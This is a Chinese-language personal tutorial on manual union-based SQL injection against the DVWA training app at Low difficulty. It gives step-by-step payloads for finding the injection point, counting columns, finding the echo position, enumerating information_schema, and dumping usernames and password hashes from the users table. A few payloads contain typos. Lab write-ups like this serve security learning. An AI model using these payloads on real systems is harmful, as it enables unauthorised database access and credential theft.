1. 程式人生 > 實用技巧 >mysql 簡單手工注入

mysql 簡單手工注入

來源 dvwa 平臺 級別為Low 中的SQL Injection 試題

1. 判斷注入點

# 網址?id=1
id=1\
id=1'			# 頁面如果報錯多了一個單引號,那麼說明可能存在注入點
‘id=1 and 1=1’頁面正常,‘id=1 and 1=2’時頁面不正常,則這個頁面邊可能存在注入
id=1' #   # '#' 號註釋,註釋閉合的單引號,可以試試

當前題目使用 id=1' # # 後面註釋,截斷

2.判斷列的個數 order by

id=1' oreder by 2 #
id=1' oreder by 3 #

# 測試 判斷列數3 報錯,有2列 

3.判斷回顯位 union

# 輸入一個不存在的id
?id=-1'  union select 100,200 #
# select 後面 個數和列數對應,看網頁中顯示位置上的數,表示那個位置為回顯位

# 回顯位為 ----> 200 位置

4. 替換回顯位,注入

使用內部變數,或者語句

# database() 資料庫名 
# -1' union select 100,database() #

# 庫名為 ----->dvwa

庫名,版本等資訊

version()、@@datadir、@@basedir

5.根據information_schema 庫

information_schema

資料庫中記錄所有資訊

information_schema.tables 表中記錄所有資料庫名 table_schema,table_name 重要欄位

information_schema.columns 表中記錄所有列名 table_schema,table_name,column_name 重要欄位

group_concat(欄位名) 函式,可以讓欄位顯示在同一行

注入出表名

information_schema.tables 根據這個表

# -1' union select 100,group_concat(table_name) from information_schema.tables where table_schema=database()  #

或者 後面的 database() 直接換成上一步注入出來的庫名
-1' union select 100,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

# 注入出兩個表--->guestbook,users
注入出列名

information_schema.columns 根據這個表

# -1' union select 100,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

# 表中所有列 user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.注入出user表資料

-1' union select 100, group_concat(user_id , user , password,) from dvwa.users #
# 查詢所有
-1' union select 100, user  from dvwa.users limit 0,1 #
# 查詢users表中的user 欄位第一個------》 admin
-1' union select 100, password  from dvwa.users limit 0,1 #
# 查詢密碼第一個 -----》 5f4dcc3b5aa765d61d8327deb882cf99

大概過程,自己記錄一下。